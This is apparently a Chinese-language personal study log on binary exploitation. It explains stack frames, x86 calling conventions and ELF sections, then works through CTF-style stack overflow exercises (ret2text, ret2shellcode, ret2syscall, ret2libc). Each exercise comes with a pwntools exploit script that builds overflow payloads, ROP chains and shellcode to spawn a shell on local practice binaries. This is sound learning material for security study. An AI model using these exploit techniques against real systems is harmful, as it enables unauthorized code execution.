从来没有学习过有关pwn的内容,大学期间的学习内容也主要是以逆向为主,现在从事于安全研究工作,觉得自己应该取花时间对pwn的相关内容做一个系统的学习。我学习的内容不一定高深但一定详细,自己遇到的问题都会详细的记录 ,捋顺思路,希望可以给其他人的学习带来一丝帮助。

先需知识点

栈介绍 √

参考资料:
C语言函数调用栈(一)
C语言函数调用栈(二) calling_conventions.pdf
深入理解计算机系统.pdf
这两本书是我自己看过的,但是并不一定完全适用与新手直接去学习,但是如果可以坚持看完,那么对于整个底层运作原理的理解一定会大幅提高。

寄存器

函数栈布局原理展示

1 //StackFrame.c
 2 #include <stdio.h>
 3 #include <string.h>
 4 
 5 struct Strt{
 6     int member1;
 7     int member2;
 8     int member3;
 9 };
10 
11 #define PRINT_ADDR(x)     printf("&"#x" = %p\n", &x)
12 int StackFrameContent(int para1, int para2, int para3){
13     int locVar1 = 1;
14     int locVar2 = 2;
15     int locVar3 = 3;
16     int arr[] = {0x11,0x22,0x33};
17     struct Strt tStrt = {0};
18     PRINT_ADDR(para1); //若para1为char或short型,则打印para1所对应的栈上整型临时变量地址!
19     PRINT_ADDR(para2);
20     PRINT_ADDR(para3);
21     PRINT_ADDR(locVar1);
22     PRINT_ADDR(locVar2);
23     PRINT_ADDR(locVar3);
24     PRINT_ADDR(arr);
25     PRINT_ADDR(arr[0]);
26     PRINT_ADDR(arr[1]);
27     PRINT_ADDR(arr[2]);
28     PRINT_ADDR(tStrt);
29     PRINT_ADDR(tStrt.member1);
30     PRINT_ADDR(tStrt.member2);
31     PRINT_ADDR(tStrt.member3);
32     return 0;
33 }
34 
35 int main(void){
36     int locMain1 = 1, locMain2 = 2, locMain3 = 3;
37     PRINT_ADDR(locMain1);
38     PRINT_ADDR(locMain2);
39     PRINT_ADDR(locMain3);
40     StackFrameContent(locMain1, locMain2, locMain3);
41     printf("[locMain1,2,3] = [%d, %d, %d]\n", locMain1, locMain2, locMain3);
42     memset(&locMain2, 0, 2*sizeof(int));
43     printf("[locMain1,2,3] = [%d, %d, %d]\n", locMain1, locMain2, locMain3);
44     return 0;
45 }

StackFrame

该程序的执行结果如下所示

需要仔细注意 形参、实参、数组/结构体型的局部变量的存储结构,memset 覆盖的地址

堆栈操作

函数调用时的具体步骤如下:

  1. 主调函数将被调函数所要求的参数,根据相应的函数调用约定,保存在运行时栈中。该操作会改变程序的栈指针。

    注:x86平台将参数压入调用栈中。而x86_64平台具有16个通用64位寄存器,故调用函数时前6个参数通常由寄存器传递,其余参数才通过栈传递。

  2. 主调函数将控制权移交给被调函数(使用call指令)。函数的返回地址(待执行的下条指令地址)保存在程序栈中(压栈操作隐含在call指令中)。

  3. 若有必要,被调函数会设置帧基指针,并保存被调函数希望保持不变的寄存器值。

  4. 被调函数通过修改栈顶指针的值,为自己的局部变量在运行时栈中分配内存空间,并从帧基指针的位置处向低地址方向存放被调函数的局部变量和临时变量。

  5. 被调函数执行自己任务,此时可能需要访问由主调函数传入的参数。若被调函数返回一个值,该值通常保存在一个指定寄存器中(如EAX)。

  6. 一旦被调函数完成操作,为该函数局部变量分配的栈空间将被释放。这通常是步骤4的逆向执行。

  7. 恢复步骤3中保存的寄存器值,包含主调函数的帧基指针寄存器。

  8. 被调函数将控制权交还主调函数(使用ret指令)。根据使用的函数调用约定,该操作也可能从程序栈上清除先前传入的参数。

  9. 主调函数再次获得控制权后,可能需要将先前的参数从栈上清除。在这种情况下,对栈的修改需要将帧基指针值恢复到步骤1之前的值。

    步骤3与步骤4在函数调用之初常一同出现,统称为函数序(prologue);步骤6到步骤8在函数调用的最后常一同出现,统称为函数跋(epilogue)。函数序和函数跋是编译器自动添加的开始和结束汇编代码,其实现与CPU架构和编译器相关。除步骤5代表函数实体外,其它所有操作组成函数调用。

指令序列 含义
函数序(prologue) push %ebp 将主调函数的帧基指针%ebp压栈,即保存旧栈帧中的帧基指针以便函数返回时恢复旧栈帧
mov %esp, %ebp 将主调函数的栈顶指针%esp赋给被调函数帧基指针%ebp。此时,%ebp指向被调函数新栈帧的起始地址(栈底),亦即旧%ebp入栈后的栈顶
sub , %esp 将栈顶指针%esp减去指定字节数(栈顶下移),即为被调函数局部变量开辟栈空间。为立即数且通常为16的整数倍(可能大于局部变量字节总数而稍显浪费,但gcc采用该规则保证数据的严格对齐以有效运用各种优化编译技术)
push 可选。如有必要,被调函数负责保存某些寄存器(%edi/%esi/%ebx)值
函数跋(epilogue) pop 可选。如有必要,被调函数负责恢复某些寄存器(%edi/%esi/%ebx)值
mov %ebp, %esp* 恢复主调函数的栈顶指针%esp,将其指向被调函数栈底。此时,局部变量占用的栈空间被释放,但变量内容未被清除(跳过该处理)
pop %ebp* 主调函数的帧基指针%ebp出栈,即恢复主调函数栈底。此时,栈顶指针%esp指向主调函数栈顶(espßesp-4),亦即返回地址存放处
ret 从栈顶弹出主调函数压在栈中的返回地址到指令指针寄存器%eip中,跳回主调函数该位置处继续执行。再由主调函数恢复到调用前的栈
*:这两条指令序列也可由leave指令实现,具体用哪种方式由编译器决定。

函数的调用约定

cdecl stdcall fastcall
主调函数职责 sub $0xc,%espmovl $0x33,0x8(%esp)movl $0x22,0x4(%esp)movl $0x11,(%esp)call 8048354 sub $0xc,%espmovl $0x33,0x8(%esp)movl $0x22,0x4(%esp)movl $0x11,(%esp)call 8048354 sub $0xc,%esp sub $0x4,%espmovl $0x33,(%esp)mov $0x22,%edxmov $0x11,%ecxcall 8048354 sub $0x4,%esp
被调函数职责 push %ebpmov %esp,%ebpmov 0xc(%ebp),%eaxadd 0x8(%ebp),%eaxadd 0x10(%ebp),%eaxpop %ebpret push %ebpmov %esp,%ebpmov 0xc(%ebp),%eaxadd 0x8(%ebp),%eaxadd 0x10(%ebp),%eaxpop %ebpret $0xc //执行ret指令并清理参数占用的堆栈(栈顶指针上移参数个数*4=12个字节,以释放压栈的参数) push %ebpmov %esp,%ebpsub $0x8,%espmov %ecx,0xfffffffc(%ebp)mov %edx,0xfffffff8(%ebp)mov 0xfffffff8(%ebp),%eaxadd 0xfffffffc(%ebp),%eaxadd 0x8(%ebp),%eaxleaveret $0x4//ret <压栈参数字节数>。若参数不超过两个,则ret指令不带立即数,因为无参数被压栈

x86函数参数传递方法

整形 指针 浮点型 结构体 联合体 理解原理即可

x86函数返回值的传递方法

函数返回值可通过寄存器传递。当被调用函数需要返回结果给调用函数时**:**

  1. 若返回值不超过4字节(如int、short、char、指针等类型),通常将其保存在EAX寄存器中,调用方通过读取EAX获取返回值。

  2. 若返回值大于4字节而小于8字节(如long long或_int64类型),则通过EAX+EDX寄存器联合返回,其中EDX保存返回值高4字节,EAX保存返回值低4字节。

    1. 若返回值为浮点类型(如float和double),则通过专用的协处理器浮点数寄存器栈的栈顶返回。
  3. 若返回值为结构体或联合体,则主调函数向被调函数传递一个额外参数,该参数指向将要保存返回值的地址。即函数调用foo(p1, p2)被转化为foo(&p0, p1, p2),以引用型参数形式传回返回值。具体步骤可能为:a.主调函数将显式的实参逆序入栈;b.将接收返回值的结构体变量地址作为隐藏参数入栈(若未定义该接收变量,则在栈上额外开辟空间作为接收返回值的临时变量);c. 被调函数将待返回数据拷贝到隐藏参数所指向的内存地址,并将该地址存入%eax寄存器。因此,在被调函数中完成返回值的赋值工作。

    注意,函数如何传递结构体或联合体返回值依赖于具体实现。不同编译器、平台、调用约定甚至编译参数下可能采用不同的实现方法。如VC6编译器对于不超过8字节的小结构体,会通过EAX+EDX寄存器返回。而对于超过8字节的大结构体,主调函数在栈上分配用于接收返回值的临时结构体,并将地址通过栈传递给被调函数;被调函数根据返回值地址设置返回值(拷贝操作);调用返回后主调函数根据需要,再将返回值赋值给需要的临时变量(二次拷贝)。实际使用中为提高效率,通常将结构体指针作为实参传递给被调函数以接收返回值。

  4. 不要返回指向栈内存的指针,如返回被调函数内局部变量地址(包括局部数组名)。因为函数返回后,其栈帧空间被“释放”,原栈帧内分配的局部变量空间的内容是不稳定和不被保证的。

    函数返回值通过寄存器传递,无需空间分配等操作,故返回值的代价很低。基于此原因,C89规范中约定,不写明返回值类型的函数,返回值类型默认为int。但这会带来类型安全隐患,如函数定义时返回值为浮点数,而函数未声明或声明时未指明返回值类型,则调用时默认从寄存器EAX(而不是浮点数寄存器)中获取返回值,导致错误!因此在C++中,不写明返回值类型的函数返回值类型为void,表示不返回值。

* ELF文件

名称 类型 属性 含义
.comment SHT_PROGBITS 包含版本控制信息。
.debug SHT_PROGBITS 此节区包含用于符号调试的信息。
.dynamic SHT_DYNAMIC SHF_ALLOC SHF_WRITE 此节区包含动态链接信息。SHF_WRITE 位设置与否是否被设置取决于具体的处理器。
.dynstr SHT_STRTAB SHF_ALLOC 此节区包含用于动态链接的字符串,大多数 情况下这些字符串代表了与符号表项相关的名称。
.dynsym SHT_DYNSYM SHF_ALLOC 此节区包含动态链接符号表。
.got SHT_PROGBITS 此节区包含全局偏移表。
.line SHT_PROGBITS 此节区包含符号调试的行号信息,描述了源程序与机器指令之间的对应关系,其内容是未定义的。
.plt SHT_PROGBITS 此节区包含过程链接表(procedure linkage table)。
.relname SHT_REL 这些节区中包含重定位信息。如果文件中包含可加载的段,段中有重定位内容,节区的属性将包含 SHF_ALLOC 位,否则该位置 0。传统上 name 根据重定位所适用的节区给定。例如 .text 节区的重定位节区名字将是:.rel.text 或者 .rela.text。
.relaname SHT_RELA
.shstrtab SHT_STRTAB 此节区包含节区名称。

栈溢出 Stack Overflow √

栈保护机制

NX:-z execstack / -z noexecstack (关闭 / 开启)
Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启)
PIE:-no-pie / -pie (关闭 / 开启)
RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启)

ret2text

1.找到system(/bin/bash)的地址 设为 targetaddr

2.计算gets(s) 中s对于返回地址的偏移量= 相对于ebp的偏移量 +4

3.下gets函数地址的断点,查看寄存器 esp ebp 计算偏移= ebp - esp - 1Ch (s的偏移)

##!/usr/bin/env python
from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()

ret2shellcode

#main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(s);
  strncpy(buf2, s, 0x64u);
  printf("bye bye ~");
  return 0;
}

mian函数中,gets(s) 的内容strcpy了一份在buf2

.bss:0804A080                               public buf2
.bss:0804A080                               ; char buf2[100]
.bss:0804A080 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+buf2 db 64h dup(?)                      ; DATA XREF: main+7B↑o
.bss:0804A080 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+_bss ends
.bss:0804A080 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+

buf2 在.bss段 地址为 0x804a080

Start      End        Perm	Name
0x08048000 0x08049000 r-xp	/home/xyzper/pwn/study/ret2shellcode
0x08049000 0x0804a000 r--p	/home/xyzper/pwn/study/ret2shellcode
0x0804a000 0x0804b000 rw-p	/home/xyzper/pwn/study/ret2shellcode
0xf7c00000 0xf7c22000 r--p	/usr/lib/i386-linux-gnu/libc.so.6
0xf7c22000 0xf7d9b000 r-xp	/usr/lib/i386-linux-gnu/libc.so.6
0xf7d9b000 0xf7e1b000 r--p	/usr/lib/i386-linux-gnu/libc.so.6
0xf7e1b000 0xf7e1d000 r--p	/usr/lib/i386-linux-gnu/libc.so.6
0xf7e1d000 0xf7e1e000 rw-p	/usr/lib/i386-linux-gnu/libc.so.6
0xf7e1e000 0xf7e28000 rw-p	mapped
0xf7fc1000 0xf7fc3000 rw-p	mapped
0xf7fc3000 0xf7fc7000 r--p	[vvar]
0xf7fc7000 0xf7fc9000 r-xp	[vdso]
0xf7fc9000 0xf7fca000 r--p	/usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fca000 0xf7fed000 r-xp	/usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fed000 0xf7ffb000 r--p	/usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffb000 0xf7ffd000 r--p	/usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffd000 0xf7ffe000 rw-p	/usr/lib/i386-linux-gnu/ld-linux.so.2
0xfffdd000 0xffffe000 rwxp	[stack]

gdb 下断点在main 然后 用vmmap查看段 其中 0x804a080 >>>> 0x0804a000 0x0804b000 rw-p /home/xyzper/pwn/study/ret2shellcode 具有可执行权限

读入 shellcode,然后控制程序执行 bss 段处的 shellcode。其中,相应的偏移计算类似于 ret2text 中的例子。

#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

ret2syscall

拓展:系统调用

Linux 在x86上的系统调用通过 int 80h 实现,用系统调用号来区分入口函数。操作系统实现系统调用的基本过程是:

  1. 应用程序调用库函数(API);
  2. API 将系统调用号存入 EAX,然后通过中断调用使系统进入内核态;
  3. 内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);
  4. 系统调用完成相应功能,将返回值存入 EAX,返回到中断处理函数;
  5. 中断处理函数返回到 API 中;
  6. API 将 EAX 返回给应用程序。

应用程序调用系统调用的过程是:

  1. 把系统调用的编号存入 EAX;
  2. 把函数参数存入其它通用寄存器;
  3. 触发 0x80 号中断(int 0x80)。

简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell

execve("/bin/sh",NULL,NULL)

其中,该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

writeup

获得 int 0x80 的地址:

int_80h=0x08049421

Address	Function	Instruction
.text:08049040	__libc_start_main	mov     eax, large gs:80h
.text:08049058	__libc_start_main	mov     large gs:80h, eax
.text:08049421	__libc_setup_tls	int     80h; LINUX - sys_set_thread_area
.text:0804C63C	read_alias_file	or      dh, 80h

找到pop eax ebx ecx edx 的地址:

eax_ret=0x080bb196

edx_ecx_ebx_ret=0x0806eb90

└─$ ROPgadget --binary rop  --only 'pop|ret' |grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret    ;*******使用这个*********
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
└─$ ROPgadget --binary rop  --only 'pop|ret' |grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret                ;;;;*******使用这个*************
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

获得 /bin/sh 字符串对应的地址: binsh=0x080BE408

.rodata:080BE408	00000008	C	/bin/sh

栈溢出偏移计算:

下面就是对应的 payload,其中 0xb 为 execve 对应的系统调用号。

#!/usr/bin/env python
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
    ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

ret2libc1

获得_system 地址和 binsh的地址,sysytem函数需要一个返回地址这里是bbbb

#!/usr/bin/env python
from pwn import *

sh = process('./ret2libc1')
system=0x08048460
binsh=0x08048720
payload = flat(
    ['A' * 112,system,'b'*4,binsh])
sh.sendline(payload)
sh.interactive()

ret2libc2

#!/usr/bin/env python
from pwn import *

p = process('./ret2libc2')
system_plt=0x08048490
gets_plt=0x08048460
ebx_ret=0x0804843d
buf_addr=0x804a080
payload = flat(
    ['A' * 112,gets_plt,ebx_ret,buf_addr,system,'b'*4,buf_addr])
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

ret2libc3

ctfwiki上的 exp是这样写的,

#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']   #获取puts的plt地址
libc_start_main_got = ret2libc3.got['__libc_start_main'] #获取__libc_start_main在got表中的地址
main = ret2libc3.symbols['main']  #main函数的地址  在IDA中直接看到是 0x08048618

print "leak libc_start_main_got addr and return to main again" 
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])  
#           溢出 112个字节 + 使用putsplt(即调用puts函数) + eip > main函数  + puts的参数   最后的结果就是用puts返回了libc_start_main_got
sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])  #这里接受了4字节的返回值  实际返回的是 __libc_start_main在got表中的地址
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)  #函数在libc中的地址
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')  #libc的base地址 = 函数在got表中的地址 - 函数在libc中的地址
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
#后面就没什么意思了  就是sysytem binsh  
# 他这里使用了LibcSearcher这个库 有点把原理给省略掉了 不容易理解
print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()
  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。

  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。

  • 所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。

    那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

然后ctfwiki中给出的方案就是泄露 __libc_start_main 的地址,这里我把他的exp稍微注释一下就可以看懂了,

因为他这里使用了LibcSearcher这个库 有点把原理给省略掉了 不容易理解,

所以在一番学习以后 有了下面这个exp

还有视频讲解,

君莫笑hhhhhhhh师傅的

#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'

proc = './ret2libc3'
#!/usr/bin/env python
elf = ELF(proc)
p = process(proc)
libc=ELF('./libc.so')
if args.G:
    gdb.attach(p)
p.sendlineafter('!?',b'a'*112 + p32(elf.plt['puts']) + p32(0x08048618) + p32(elf.got['puts']))

puts_addr = u32(p.recv(4))
libc_base = puts_addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + 0x0000 #这个直接search /bin/sh 就可以找到 0xf7db5faa

p.sendlineafter('!?',b'a'*112 + p32(system) + b'aaaa' + p32(0xf7db5faa))
p.interactive()

* 格式化字符串漏洞 Format String

2023年5月,忙于工作,没有时间继续.....